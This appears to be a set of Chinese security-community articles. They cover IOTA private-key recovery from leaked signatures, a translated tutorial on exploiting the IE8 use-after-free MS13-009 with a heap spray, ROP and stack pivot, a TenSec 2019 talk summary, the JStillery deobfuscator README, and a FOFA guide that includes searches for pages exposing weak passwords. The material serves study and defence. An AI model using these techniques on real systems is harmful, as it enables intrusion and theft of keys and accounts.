我们前面有提到当签名的hash中包含tryte字符M也就是十进制的13时，对应的私钥实际上是没有进行hash的，相当于直接在签名中暴露了，不过考虑到M出现的几率也就是1/27，所以这本来也不是什么大问题，但问题出在了IOTA的私钥的产生上
因为IOTA的私钥特别长，所以它的产生事实上也是一个不断hash的过程，利用了海绵函数的结构
图画的不是很好，不过大概是这么个意思，我们发现其实拿到了私钥的第一部分即H[0]后即可使用它迭代得到剩下的部分，生成整个私钥，现在我们再来看看该用户这一地址的第一笔bundle的bundlehash计算得到的`normalized
bundlehash`
可以发现对应的`normalized
bundlehash`第一个Tryte对应的值即为13，这表示该地址第一块的私钥被签名暴露了，通过签名我们可以计算得到该地址的私钥，可以参考这篇[分析](http://blog.lekkertech.net/blog/2018/03/07/iota-signatures/)中的代码，[reddit_key_recover.py](http://blog.lekkertech.net/downloads/code/IOTA/reddit_key_recover.py)及[calc_private.py](http://blog.lekkertech.net/downloads/code/IOTA/calc_private.py)
最终得到私钥
这就意味着只要`normalized
bundlehash`的第一个Tryte为M，该地址的私钥就是可以被获取的，算起来满足该条件的bundle也接近4%了，还是非常危险的，所以为了修复这一漏洞，现在签名时在计算`normalized
bundlehash`时如果结果中包含M的话，会将index为0的交易中`obsoleteTag`字段加一，然后再算一次`bundlehash`，循环往复直到`normalized
bundlehash`中不包含M为止
## 闲话
虽然在IOTA中重用地址是非常危险而不可取的，不过在该系统中目前倒也不是没有可重用地址，我们前面提到的协调节点，其使用的签名方案就是可重用地址的Merkle
OTS，因为它确实有这样的需求，得去批准大量的交易以稳定网络，代价是更长的签名，目前社区中也在探讨可重用地址机制的可行性
此外有时候IOTA中的一些地址重用行为也是其快照机制导致的，在IOTA中为了节省存储空间，会定期清理Tangle上的交易，将它们清空，只在记录上保留有余额的地址，因为钱包在由其种子派生出的私钥中按index从上往下进行搜索时碰到余额为0的就会停止，所以在每次快照后有必要将index排在前面的余额为空的地址附加到Tangle上，否则就可能会出现地址的重用
# 参考链接
<https://www.jinse.com/bitcoin/249863.html>
<https://draveness.me/iota-tangle>
<https://wusyong.gitbooks.io/iota-guidebook/content/>
<http://blog.lekkertech.net/blog/2018/03/07/iota-signatures/> | 社区文章 |
# 【技术分享】Windows Exploit开发系列教程——堆喷射（二）
|
##### 译文声明
本文是翻译文章，文章来源：fuzzysecurity.com
原文地址：<http://www.fuzzysecurity.com/tutorials/expDev/11.html >
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[lufei](http://bobao.360.cn/member/contribute?uid=168367515)
预估稿费：260RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
传送门：[【技术分享】Windows
Exploit开发系列教程——堆喷射（一）](http://bobao.360.cn/learning/detail/3548.html)
**前言**
大家好，欢迎回到本部分教程堆喷射2部分。本教程将引导您在IE8上使用精密堆喷射。
**有两种基本的场景下，需要你使用非常精确的堆喷射：**
(1)你必须处理DEP防护情况下，你需要将执行流程从你的ROP链开始。
(2)你利用Use-After-Free，需要满足虚函数的一些数据处理流程。
我想找到一个处理这两个问题的例子，但是许多这样的漏洞是一个相当复杂，不一定适合作为教程。
应该明白两个道理。首先，实践动手才是最好，找到漏洞，把它们的难点分开，解决一些难点，尝试更难的，再减少难点，循环下去继续。其次，本教程不关注漏洞分析，因为这些教程是关于在编写漏洞攻击和如何克服它们时你将面临的障碍。
今天我们来看看MS13-009这个漏洞，你可以在[这里](http://www.exploit-db.com/exploits/24495/)找到metasploit模块。 如果你想更好地掌握本章的教程内容，我强烈推荐下面添加的一些链接阅读材料。
**调试机器：**
Windows XP SP3 with IE8
**链接：**
Exploit writing tutorial part 11 : Heap Spraying Demystified (corelan) –
[here](https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/)
Heap Feng Shui in JavaScript (Alexander Sotirov) –
[here](http://www.phreedom.org/presentations/heap-feng-shui/)
Post-mortem Analysis of a Use-After-Free Vulnerability (Exploit-Monday) –
[here](http://www.exploit-monday.com/2011/07/post-mortem-analysis-of-use-after-free_07.html)
Heap spraying in Internet Explorer with rop nops (GreyHatHacker) –[
here](http://www.greyhathacker.net/?p=549l)
CVE-2013-0025 MS13-009 IE SLayouRun (Chinese analysis of ms13-009, you will
probably need to load this from the google cache) –
[here](http://www.hackdig.com/wap/?id=2239)
**
**
**介绍**
我想这个课题需要一些介绍，但你会发现，许多障碍，对你不陌生。我不会深入到所有更细微的点，因为这将需要很多时间。如果这里的一些技术不熟悉，我建议你阅读本教程系列的第7部分（面向返回编程）和第8部分（堆喷射[第1章：可控EIP]）。
我们谈论Use-After-Free时，需要了解什么是虚表。C++语言允许基类定义虚函数。基类派生类也可以定义自己的函数(与虚函数同名)。因此，虚拟函数允许派生类替换基类函数。编译器会确保每当调用的对象实际上是派生类时，总是调用替换。所有这一切发生在运行时。虚表包含指向基类中定义函数的指针。当需要在运行时调用函数时，根据需要它的派生类从虚表中选择适当的指针。我们可以看到下面的图形表示。
**1.1**
Use-After-Free漏洞通常相当复杂，其原因因案例而异。通常执行流程的工作原理是这样的：
（1）在某个时刻一个对象被创建并与一个vtable相关联；
（2）该对象被一个vtable指针调用。如果我们释放对象在它被调用之前，程序将崩溃，当它后来试图调用对象（例如：它尝试使用对象后它被释放 – UAF）。
为了利用这个问题，我们将一般地执行以下步骤：
（1）在某个点创建一个对象；
（2）我们对这个对象触发后释放；
（3）创建我们自己的对象，对象大小尽可能与上次创建的对象大小接近；
（4）以后当vtable指针被调用时，我们自己创建的假对象将被使用，我们获得代码执行。
这听起来非常复杂，但通过实例演示将变成简单。首先，我们将创建一个可靠的堆喷射，然后我们将专注于ms13-009！
**
**
**堆的Shellcode**
正如我们在第8部分中所做的那样，我想从IE8上获得可靠的喷喷射开始。 继续我们之前做的工作，修改我们之前的POC。
这个POC已经从第8部分中的版本略有修改。这里的主要区别是我已经添加了一个alloc函数，它将我们的缓冲区作为输入，调整分配的大小，使它们匹配BSTR规范（我们需要
减去6以补偿BSTR头和尾，并除以2，因为我们使用unicode unescape）。
让我们用windbg调试器，看看当我们执行这个喷射时会发生什么。
下面的图像是我们的喷射表示。 我们已经填充了150mb的我们自己的数据，这150mb被分成150块1mb（每个块被存储为一个单独的BSTR对象）。
这个BSTR对象又填充了包含我们的shellcode和我们的NOP的0x1000十六进制（4096字节）的块。
**
**
**1.2**
到现在为止还挺好！ 接下来，我们需要重新调整我们的堆喷射，以便shellcode变量完全指向0x0c0c0c0c，这将是我们的ROP链的开始。
考虑如果0x0c0c0c0c被分配在内存中的某个地方，因为我们的堆喷射，那么它必须有一个特定的偏移量在我们的0x1000块。
我们要做的是计算从块开始到0x0c0c0c0c的偏移，并将其作为填充添加到我们的喷射。
如果你重新运行上面的喷射，你会注意到0x0c0c0c0c不会总是指向相同的堆，但是从我们的0x1000十六进制块的开始到0x0c0c0c0c的偏移将始终保持不变。
我们已经拥有了计算填充大小所需的所有信息。
让我们修改POC并在调试器中重新运行喷射。
正如我们在下面可以看到的，我们已经设法将我们的shellcode重新对齐到0x0c0c0c0c。
事实上，当我们在内存中搜索字符串“FuzzySecurity”时，我们可以看到所有位置都在相同的字节结尾0x?????c0c。
所以我们现在用这样的方法调整我们的堆喷射，我们可以使我们的shellcode指向我们选择的任意地址（在这种情况下为0x0c0c0c0c）。
堆喷射在IE7-8上工作，并已在Windows XP和Windows 7上测试。通过一些修改，它可以在IE9上工作，但这不在本教程的范围。
**
**
**详解MS13-009**
如前所述，本教程的主要目标不是分析漏洞，而是要理解在编写exploit时您面临的障碍。 然而，我们将快速查看该漏洞，以了解发生了什么。
以下POC是触发错误的最精简的案例文件。
好，让我们看看调试器，看看当我们触发漏洞时会发生什么。 你会注意到我已经添加（但注释掉）CollectGarbage（）函数。
在我的测试期间，我注意到poc不可靠（只有大约80％），所以我正在试验CollectGarbage（），看看是否会提高可靠性。
CollectGarbage（）是javascript公开的一个函数，它清空了四个bin，这些bin通过oleaut32.dll中的自定义堆管理引擎实现。当我们尝试在堆上分配我们自己的假对象，将与之相关。
从我的测试，我不能确定它有什么区别，但如果任何人有任何想法，在下面留下评论。
从下面的执行流程我们可以看到一个对象试图调用vtable中与EAX偏移量为0x70十六进制的函数。
stacktrace向我们展示了导致崩溃的执行流程。 如果我们在返回地址（在那里调用应该返回）如果没有崩溃，我们可以看到我们的函数是如何调用的。
看起来像EBX中的一些对象通过它的vtable指针ECX，然后后来被mshtml！CElement :: Doc引用调用一个函数在0x70十六进制偏移量。
通过使用一些巧妙的断点，我们可以跟踪由mshtml！CTreeNode做出的分配，以查看是否有任何熟悉的值弹出。
下面的结果表明EBX指向CparaElement，并且应该被调用的函数是Celement :: SecurityContext。
这似乎与MS13-009的漏洞描述相一致：“Microsoft Internet Explorer中的Use-After-Free漏洞，其中释放了一个CParaElement节点，但仍在CDoc中保留引用。当CDoc重新布局时，此内存被重用 执行“。
**
**
**MS13-009 EIP**
正如我前面提到的，这里的主要重点是如何克服我们在exploit过程中遇到的障碍，所以我不会花时间来解释如何在堆上分配我们自己的对象。
相反，我将使用来自公开可用的漏洞的代码段。 我们的新POC可以在下面看到。
再次注意CollectGarbage（）函数，随意使用它，看看它是否有任何重大差异，当尝试分配对象。 让我们看看调试器，看看当我们执行这个POC会发生什么。
如果0x0c0c0c7c是存储器中的有效位置，则此指令序列将最终调用0x0c0c0c7c（= EIP）的DWORD值，此时不是这种情况。
记住我们的堆喷射设置为将shellcode变量对齐到0x0c0c0c0c，我们将看到为什么这是必要的。
只要记住我们可以设置EIP为任何我们想要的值，例如0xaaaaaaaa的DWORD值。 这可以通过用0xaaaaaaaa-0x70 =
0xaaaaaa3a重写EAX来实现。 你可以看到下面的例子。
让我们来看看调试器，以验证我们现在将最终覆盖EIP与0xaaaaaaaa。
**
**
**MS13-009 Code Execution**
我们已经走了很远！ 综合我们迄今为止所做的工作，我们可以开始我们的代码执行之旅。 第一个任务是创建我们的新POC，其中包含我们的喷射并触发漏洞。
从下面的截图我们可以看到，我们覆盖了EIP与0x90909090，这是因为EIP从位于0x0c0c0c0c + 0x70 =
0x0c0c0c7c的DWORD的值，它指向我们的nopslide。
**
**
**1.3 EIP in NopSlide**
这可能看起来有点混乱，希望下面的视图将帮助弄清过程！
让我们尝试填充我们的shellcode变量，以便我们可以精确地覆盖EIP。 我们可以通过在缓冲区长度为0x70十六进制（112字节=
28-DWORD）的前面添加我们的unescape ASCII字符串来实现。
如预期，我们现在可以完全控制EIP。 作为提醒，EIP中的值为小端。
**1.4 EIP Override**
我们的0x1000十六进制块的新布局如下。
好完美！现在我们要面对我们的下一个障碍。我们的ROP链和shellcode将位于堆上，但我们的堆栈指针（=
ESP）指向mshtml内部。我们执行的任何ROP小部件都将返回堆栈中的下一个地址，因此我们需要将堆栈从mshtml转移到堆上控制的区域（我们的0x1000字节块）。因为你会记得EAX正好指向我们的shellcode变量的开头，所以如果我们找到一个ROP小部件将EAX移动到ESP或交换它们，我们将能够枢转堆栈并开始执行我们的ROP链在0x0c0c0c0c。
我将使用来自与java6一起打包的MSVCR71.dll的ROP小工具，并由Internet
Explorer自动加载。我在下面包含了由mona生成的两个文本文件：
（1）MSVCR71_rop_suggestions.txt，其中包含一个主题化的ROP小工具列表；
（2）MSVCR71_rop.txt，它包含一个ROP小工具的原始列表；
如果你想使用他们，我建议你下载文件并使用正则表达式解析它们。
MSVCR71_rop_suggestions.txt –
[here](http://www.fuzzysecurity.com/tutorials/expDev/tools/MSVCR71_rop_suggestions.txt)
MSVCR71_rop.txt –
[here](http://www.fuzzysecurity.com/tutorials/expDev/tools/MSVCR71_rop.txt)
解析文本文件，我们可以轻松地找到我们需要的小工具，让我们修改我们的POC，并验证一切正常工作。
从下面的屏幕截图我们可以看到，我们在XCHG
EAX，ESP上下了断点，如果我们继续执行流程，我们成功地跳转到堆栈并尝试在0x0c0c0c0c执行第一个DWORD。
**
**
**1.5 Breakpoint – Stack Pivot**
**
**
**1.6 EIP = 0x42424242**
我们几乎解决所有的困难。 我们现在必须执行一个ROP链，用它禁用内存区域的DEP，因此我们可以执行第二阶段的有效负载。
幸运的是，MSVCR71.dll被攻击者反复滥用，并且已经存在一个由corelanc0d3r在这里创建的优化的ROP链。
让我们在我们的POC中插入这个ROP链并重新运行漏洞。
从屏幕截图中我们可以看到，我们在跳转堆栈后打开我们的第一个gadget，并且在我们调用VirtualProtect后，我们到达了剩下的垃圾。
**1.7 ROP gadget at 0x0c0c0c0c**
****
**1.8 Leftover junk 0x41414141**
现在剩下的就是在我们的垃圾缓冲区结束时插入一个跳转，跳过我们的初始EIP覆盖（XCHG EAX，ESP＃RETN）。
在我们的短跳跃之后放置的任何shellcode将被执行
在执行我们的短跳后，我们可以自由执行我们选择的任何shellcode！
**1.9 0xeb04 short jump** **Shellcode + Game Over**
现在到了容易的部分，让我们生成一些shellcode！
好，现在让我们整理我们的POC，添加注释和运行最终的漏洞。
我想再次提及，这个漏洞有一些可靠性问题（只有正常触发的几率是80％），如果任何人有问题，请在下面留下评论。
**2.0 Game Over**
****
传送门：[【技术分享】Windows
Exploit开发系列教程——堆喷射（一）](http://bobao.360.cn/learning/detail/3548.html) | 社区文章 |
6月11-12日，由腾讯安全发起，腾讯安全科恩实验室和腾讯安全平台部联合主办，腾讯安全学院协办的第四届腾讯安全国际技术峰会(TenSec
2019)于上海召开。作为国际前沿安全技术的年度盛会，本届TenSec吸引了来自微软、ARM、独立信息安全研究者以及腾讯各安全团队的顶级安全专家，共同探讨和交流前沿的网络安全研究成果。十大议题覆盖了当下热门的云计算安全、AI安全应用、车联网安全、IoT安全、虚拟化安全、大数据安全等热门领域。
**[【议题PPT下载】](https://share.weiyun.com/5NJL3uq "【议题PPT下载】")**
## 1\. 物联网和芯片安全：解析现实生活中的物联网攻击
演讲者：ARM 物联网设备线业务的副总裁 Asaf Shen
在可预见的未来，预计将部署数十亿部物联网设备，如果物联网设计人员未能应对好来自各个方面的攻击，重要数据将面临风险，物联网的承诺也将无法兑现。过去，物联网漏洞缓解措施主要集中在软件层面，然而随着实施物理攻击的门槛不断降低，芯片安全亟待提升。在本议题中，分析了一个包含了芯片级漏洞的真实攻击案例，然后讨论提升芯片安全以及解决芯片漏洞的特定缓解措施所需的系统方法。
## 2\. Growing hypervisor 0day with hyperseed
演讲者：MSRC 高级安全工程师金龙
当下虚拟化技术已经成为构建平台安全和云安全的重要手段，微软的虚拟化平台Hyper-V是构建微软云Azure的基石，它的安全至关重要。为了维护其高标准的安全性，微软推出的针对Hyper-V的漏洞赏金计划提供高达25万美元的奖励。虚拟机监控程序Hypervisor向虚拟机提供Hypercall接口，它不仅可以作为虚拟机逃逸的攻击向量，而且在基于虚拟化安全(VBS)情景下可以用来绕过虚拟安全模式(VSM)。本次演讲讨论了开发的基于格式感知的模糊测试程序Hyperseed，它的背景知识，设计理念以及它的发现。
## 3\. 大型互联网企业的入侵检测
演讲者：美团基础安全负责人 赵弼政
数十万至上百万的IDC生产环境里，数亿行代码于复杂漏洞，数万员工和BYOD设备，多点办公等的复杂企业环境下，如何合理的设计入侵检测方案，并像大海捞针一样找出真正可怕的对手。
## 4\. 议题：嵌入式设备的动态安全分析以及基于python的avatar2框架
演讲者：Marius Team Tasteless/EURECOM
来自欧盟的知名CTF战队Tasteless在本次TenSec上介绍了嵌入式设备的动态安全分析以及基于python的avatar2框架相关内容。旧版本相关的分享更多的是介绍分析特定设备/技术或者实现利用，但Tasteless更注重于阐述为什么需要更好的工具以及介绍他们在提升工具能力的相关尝试。框架在GitHub上已经开源并在2017年34c3会议上披露分享，框架最新的更新和变化请期待他们在TenSec现场的分享。
## 5\. macOS恶意软件检测
演讲者：腾讯mac安全专家 王朝飞
macOS的安全形势日益严峻。未知攻，焉知防。该议题首先从黑客视角模拟了针对macOS的入侵攻击。接下来结合ATT&CK模型，介绍了每个阶段的典型入侵攻击手法，并提出检测方式；最后介绍了构建macOS
EDR所需的数据源以及相关获取数据源的手段。
## 6\. 议题：微软Windows 10 19H1上内核内存破坏漏洞利用
演讲者：信息安全研究员 Nikita Tarakanov
每个新版本的Windows操作系统Microsoft都通过添加安全缓解机制来增强安全性，自Windows
7起，Microsoft开始增强Windows内核池分配器的安全性。在Windows
8中，因为微软几乎让之前所有公开过能稳定利用内核池破坏的方法失效。但是微软在Windows 10
RS5上引入了全新的内核内存分配器，使得当前的池内存处理技术毫无用处，ZeroNight在TenSec现场的讨论是关于全新Windows 10
19H1上利用内核内存破坏漏洞的难度。
## 7\. 互联网企业安全建设的反思
演讲者：腾讯研发安全负责人 马松松
议题简介：做为攻防的第一线，基础安全建设工作困难、繁琐，但苦中有乐。经过10年+的摸爬滚打，经历经验教训之后有一些思考希望分享给业界。
## 8\. 安全知识图应用—利用社区检测算法挖掘地下产业团伙
演讲者：腾讯安全高级研究员 邓永
黑产团队一直威胁着信息安全，传统的操作安全性分析通常倾向于分析单个样本及其行为，然后跟踪其相关实体，例如域，IP和目标。可当安全公司分析网络犯罪团伙时，需要投入更多的人力来进行相关的单独个体样本，这无疑是低效的。邓永在本次TenSec上分享了一个全新的方法，即用知识图的地下黑产挖掘框架，它可以从数据级别找到该团伙，然后该团伙使用的病毒样本，域和IP的关联分析可以促进更完整和快速发现该团伙的基础设施。
## 9\. AI在数据安全中的实践
演讲者：腾讯云安全专家工程师 彭思翔
随着企业数字化进程的推进，数据成为了企业的核心资产，因其含有大量的个人与企业的敏感信息，也成为了新的被攻击目标。大量数据安全事件表明，传统信息安全的防御方案已经难以应对这些复杂的情况，因此腾讯云安全团队提出从数据流的视角构建一个数据治理与防御的解决方案。AI作为整个方案的核心来对海量数据分析与识别变化多端的攻击手段：以无监督AI为主来构建的数据治理中心感知数据应用的异常事件；以有监督AI为主来构建准确识别恶意的多种安全防御能力；通过自学习，半监督学习与迁移学习的方式自我迭代，快速响应攻击，为企业的数据流安全提供更有效更全面的防护体系。
## 10\. 云计算和桌面虚拟化技术的漏洞发现和开发
演讲者：腾讯科恩实验室安全研究员 Marco Grassi、Xingyu Chen
来自腾讯安全科恩实验室的Marco和Kira首先概述了虚拟化技术及其攻击面。然后他们介绍了VirtualBox架构设计及攻击面，并展示了一个VirtualBox逃逸演示视频。此外，他们还分享了QEMU虚拟机逃逸的漏洞细节及其利用过程。
* * * | 社区文章 |
作者：Minded Security
项目地址：<https://github.com/mindedsecurity/JStillery>
#### JStillery
Advanced JS Deobfuscation via Partial Evaluation.
See <http://blog.mindedsecurity.com/2015/10/advanced-js-deobfuscation-via-ast-and.html>
#### REPL
<https://mindedsecurity.github.io/jstillery/>
#### Install
npm install
#### Usage
###### Cli
Deobfuscate file:
./jstillery_cli.js filename
Deobfuscate from stdin
echo 'a= String.fromCharCode(41);b=a'| ./jstillery_cli.js
###### Server
If you wish change `server/config_server.json` Then launch the server:
npm start
Visit <http://0:3001/>
###### RESTServer
Launch server then:
$ curl 'http://localhost:3001/deobfuscate' -d '{"source":"a=1"}' -H 'Content-type: application/json'
{"source":"a = 1;"}
###### Web UI
Add obfuscated code to the upper text area and press CTRL-ENTER. image
#### LICENSE
GPL 3.0
#### Contribute
Feel free to contribute in any way!
* * * | 社区文章 |
# FOFA实战攻防对抗中企业安全运营场景下的应用（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
* * *
正文共：7510 字 24 图
预计阅读时间：19 分钟
* * *
## ▌前言
我所在的公司是一家具有多方视角的公司，既是安全服务提供商（乙方）、也是管理自己集团资产安全的管理者（甲方），同时还是 FOFA、Goby 的合作伙伴。
在知道公司花了很多个 W 购买了 FOFA 企业服务，而我们的部分小伙伴们拿着企业账号却在频繁使用基础语法和用法时，于是我就决定结合企业的甲方视角研究一下
FOFA 在企业场景中的应用，将账号价值最大化！本文是该主题文章的第一篇， 第二篇将会在春节后与大家见面，主要讲述 FOFA
实战攻防对抗中在企业常态化安全运营场景下的进阶应用。
## ▌一、企业场景需求梳理
结合自身央企集团运营中心的视角，在日常资产安全管理工作中，初步梳理了以下几点比较重要的需求：
### 1.1 互联网暴露面（资产）梳理
作为企业信息资产的管理者（信息中心或运营中心），手上掌握的信息资产台账往往还不够全。很多企业的业务部门会自己找供应商来研发所需要的业务系统，然后委托给第三方公司或者部署在云上，直接上线业务系统而
**没有通过信息中心走正规的业务系统上线流程** ；有的可能是企业的研发人员为了方便居家办公或者其他原因， **自己搭建了测试环境发布到互联网上**
；有的可能是老旧的业务系统已经不再使用，但因各种原因仍未下线， **而在管理者的资产列表中却已经”下线”了**
……以上各种情况，都是导致企业存在账外资产，存在风险资产暴露的原因。
而企业中的互联网资产往往是攻击者最先攻击的目标，越早、越全梳理企业在互联网中暴露的资产，并及时进行防护至关重要！
### 1.2 漏洞影响范围评估（互联网侧）
世界上没有绝对安全的业务系统，只要是计算机程序，都会存在漏洞，只不过是发现漏洞时间早晚的问题而已。据 CNVD 不完全统计，从 2018
年开始至今，每年公布的漏洞数量都是呈现递增趋势，而 2021 年是漏洞发现增长最快的一年。
在一些重大漏洞全网爆发的时候，就是各企业的网络安全管理人员与时间和恶意攻击者赛跑的时候，得在第一时间内掌握自身资产受影响的情况，然后制定修复方案、应对策略，以用最短的时间把影响降到最小。如果处理地不及时，很可能会被恶意攻击者先行利用爆发的漏洞和
PoC 渗透进来，甚至是进行内网的横向渗透！
因此，对于大型企业，特别是大型央企集团来说，充分掌握自己的资产情况以及是否受到最新漏洞的影响，影响范围有多大，受影响信息资产是否已及时将漏洞修复等情况非常必要。
### 1.3 资产漏洞风险排查
在以往的攻防实战演练中，攻击方首先会从互联网暴露的资产面中寻找防护薄弱的，或者存在安全隐患的作为突破口，进而作为攻击内网的跳板。
因此，从攻击者的视角对资产进行漏洞风险评估和排查，并提前将漏洞修复，是堵住攻击者进攻的最有力的防御方式。
### 1.4 假冒网站排查
对于一个企业而言，除了自身的产品竞争力以外，更重要的是企业对外的形象展示。官网、对外提供服务的业务系统等都是直接向外界展示企业自身形象的媒介，如果有人假冒企业的官网，发布不实的信息或者发布一些违禁的信息，就会对企业的形象产生不利的影响。
作为企业的管理者，自然要关注是否有人伪造官网或者重要的业务系统对外发布不实信息，并且要对这些行为进行遏制和打击！避免因这些假冒者的行为给公司、企业带来负面影响。
## ▌二、在企业场景中的应用
那么，FOFA 作为一款完全以网络攻防视角出发的网络空间测绘系统，又是怎样帮助企业解决上述的几个问题呢，让我们一起来看看！
### 2.1 快速梳理企业互联网暴露面
FOFA 其实相当于一个大型的互联网资产数据库，并且已经将这些海量资产信息进行分类保存，我们只需要从中筛选、识别出来我们所需要的资产信息即可！
**域名资产**
互联网资产中首先考虑的是域名资产（含子域名）的收集，在 FOFA 中筛选域名资产的语法为 `domain="域名"` ，如下图所示：
我们要查询域名为 `qq.com` 的资产信息，则可以使用语法 `domain="qq.com"` 来进行查询，从下图中我们可知查询到 18020
条资产，其中包含 4301 个独立 IP。从左边的小视图窗口我们可以看到资产的分布情况，top5 分别分布在中国大陆地区、中国香港、新加坡、美国、德国。
查询结果里可能包含有一些重复数据，我们需要对结果导出后进行去重，才能得到真实的数据。如下图所示，域名 `https://tegebz.qq.com` 和域名
`http://tegebz.qq.com`，对于我们来说，其实算是同一个资产，只不过使用了不同的协议或端口进行访问而已。
**通过关键字查找资产**
一般自研或委外开发的业务系统，都喜欢在标题处加上 XX 公司的字样，比如 XX 公司 XX 系统，XX 集团 XX 系统。那么在 FOFA
中，我们可以用语法 `title="XX公司"` 来筛选出可能属于公司自己的资产，在这里我们以华顺信安为例，语法是
`title="华顺信安"`，查询结果如下图所示：
从图中可知，我们总共查询到 12 条资产，里面包含有标题使用了“华顺信安”的域名资产和 IP 资产信息。
**IP 地址资产梳理**
通过 FOFA 语法：`ip="XX.XX.XX.XX"` 来查找资产，这里的 IP 地址一般输入已掌握的 IP 地址列表和集团本部以及下属单位的出口 IP
地址，这样可以全网梳理这些 IP 资产和开放的端口，与已掌握的资产情况进行对比，可以发现是否存在未知资产。
可以使用高级语法 “||” 来执行多个 IP 查询的情况，如: `ip="XX.XX.XX.XX" || ip="XX.XX.XX.XX" ||
ip="XX.XX.XX.XX"`
> 示例：ip=”1.1.1.1” || ip=”2.2.2.2” || ip=”3.3.3.3”
目前 FOFA 输入框对长度未做限制，所以可以用这样的语法拼接多个 IP 地址查询的结果。
**集团全级次单位资产梳理**
当需要梳理集团本部以及下属各成员单位的互联网资产，可以使用 FOFA 的高级语法进行查询。
**– 多个关键字组合查询**
可以将集团本部的关键字以及各成员单位的关键字进行拼接组合查询，语法如下：`title="XX集团" || title="单位1" ||
title="单位2"`
因长度无限制，因此可以拼接多个关键字，我尝试过使用 60
多个关键字的组合进行查询，查询速度并没有受到影响，在第二篇文章中，我将会介绍如何使用正则语法进行自定义规则的精简。
**– 多个域名组合查询**
使用高级语法 `"||"` 将集团本部及下属成员单位的域名进行拼接组合，从而查询全集团的域名资产，语法如下：`domain="集团本部域名" ||
domain="单位1域名" || domain="单位2域名" || domain="单位3域名"`
以此类推，可以持续拼接多个单位的域名查询语句。
**– 多个IP组合查询**
使用高级语法，将集团本部及下属成员单位的互联网出口 IP 进行组合查询，从而查询全集团的 IP 资产情况，语法如下：`ip="XX.XX.XX.XX" ||
ip="XX.XX.XX.XX" || ip="XX.XX.XX.XX"`
**– 干扰数据排除**
截至文章发表前，FOFA
已经能实现将搜索结果中一些干扰数据（涉黄、涉非、涉赌博等不良网站）进行自动过滤和排除，使得搜索结果更加聚焦和精准，值得点赞！但是通过关键字语法
`tittle="XX集团"` 查询的数据中，还会存在一些非本集团的资产，此类资产我们也列为干扰数据之中，这部分的干扰数据需要我们自行排除。
比如下图搜索出来的资产，爱推广网和供应商大全网这两个都不属于公司自己的资产，此类网站类似于企业黄页，会对收录的企业提供一个单独展示的网页，在标题中会有收录企业的名称，所以会被我们用关键字搜索到。这时候我们需要使用高级语法
`"!="` 对这类网站进行排除。
> 示例：title=”XX公司” && (title!=”爱推广网” || title!=”供应商大全网”)
**– 多维度资产拓线**
**ICON 拓线** ：FOFA 中支持 ICON 搜索的方式去寻找资产，我们可以将公司的 logo 图片上传，FOFA 会自动计算 logo 图片的
hash 值，然后根据 hash 值来进行资产搜索。如果已知 logo 的 hash 值，则可以直接使用语法
`icon_hash="-247388890"` 来进行资产搜索。
**Cert 拓线**
：通过公司所使用的证书来搜索使用相同证书的资产。该功能可以通过搜索证书的持有者、证书的颁发者来进行搜索，同时还可以验证证书的有效性，语法如下所示。
FOFA 的证书详情中，可以查看相关联的域名信息(DNS
Names)，以此来进行资产拓线，扩大战果。有的证书中会将自己所属的子域名都列出来，这样获取到的子域名信息比用子域名爆破的方法好太多了，而且准确性还比较高。
**– 自定义规则**
通过前面五点学习到的语法，基本上可以把全集团的互联网资产筛查出来，如果是分步按上面的顺序查询，查到的结果会出现重复的资产项，那么我们可以把这五类语法进行组合，定义为一个新的查询规则，然后利用
FOFA 中 “ **我的规则** “ 这个功能，将我们的组合语法保存下来，这样下次再想查询全集团的资产信息，只要点击这个规则即可。如下图所示：
以下是通过使用自定义规则查询的效果图，查询某集团的互联网资产数为 1665。
**– “黄金右键”快速梳理大型央企集团资产**
可以通过使用 Goby 的 IP 库功能，实现 “黄金右键” 快速梳理大型央企集团资产，基本上 5
分钟内即可查询拥有几百家下属单位的集团公司全部互联网资产信息，并且自动绘制关联关系图，最棒的就是无需记住 FOFA
的命令，只需输入想查询的内容，结合鼠标右键点击操作即可，详情可看 Goby
的技术分享文章[《基于攻击视角（GOBY）的暴露面梳理及防护技术（上）》](https://mp.weixin.qq.com/s?__biz=MzI4MzcwNTAzOQ==&mid=2247517218&idx=1&sn=c6e216763cede952d575afd14abfe895&scene=21&token=1279310241&lang=zh_CN#wechat_redirect)。
### 2.2 漏洞影响范围评估
当业界有影响重大的漏洞爆发时，作为甲方的主管信息安全的领导，自然想要了解这个漏洞对自己集团、公司的资产是否有影响，影响范围有多大。
以 CVE-2021-44228 Apache Log4j2 存在远程代码执行漏洞为例，该漏洞于 2021 年 12
月被公布出来，被誉为核弹级的漏洞，攻击者可利用该漏洞向目标服务器发送精心构造的恶意数据，触发 Log4j2
组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。
影响范围：Apache Log4j 2.x<=2.14.1。已知受影响的应用及组件，如 spring-boot-strater-log4j2 /
Apache Solr / Apache Flink / Apache Druid 等。
依据以上信息，我们可以结合 2.1 中的第六点新建的自定义资产规则，通过 FOFA 搜索出自己公司是否有资产使用了以上应用或者组件。语法思路如下：
`（自定义全集团资产搜索规则）&& app="Log4j2"`
引号里可以替换为受影响的应用和组件的名称，但是要注意区分大小写。也可以使用下面的语法：
`（自定义全集团资产搜索规则）&& （app="Log4j2" || app="受影响组件1" || app="受影响应用1" ||
app="受影响应用2"）`
应用和组件的语法可以在 FOFA 的规则列表中进行查询，目前 FOFA 已经内置 322001 条规则，主流的应用和组件基本上都已经有成熟的规则。
如果搜索结果为 0，则说明现有互联网资产不受此漏洞影响。如果显示有搜索结果，那搜出来的资产就很可能受此漏洞影响，可以将资产结果导出来再进行进一步的 PoC
验证。
### 2.3 资产漏洞风险排查
**– 弱口令风险排查**
有些系统研发人员为了方便操作，有时候可能会将系统管理员的账号和密码写在页面里，有的是用注释的方式，如下图：
有的则是将账号密码直接写在页面里，打开登录页面，无需输入账号密码，点击登录即可进入系统。
此弱口令问题风险很高，安全意识薄弱的研发人员很有可能犯这种错误，我们需要借助 FOFA
的力量，将全集团暴露在互联网上的资产进行排查，看是否存在此类资产，可以构造语句如下：
`body="type=password name=pwd value='123456'" && country="CN"`
上面语句的意思是，在资产的 HTML 正文中，查找密码为 123456 并且分布在国内的资产。我们还可以通过改变 value
的值，搜索存在不同弱口令的资产。效果图如下：
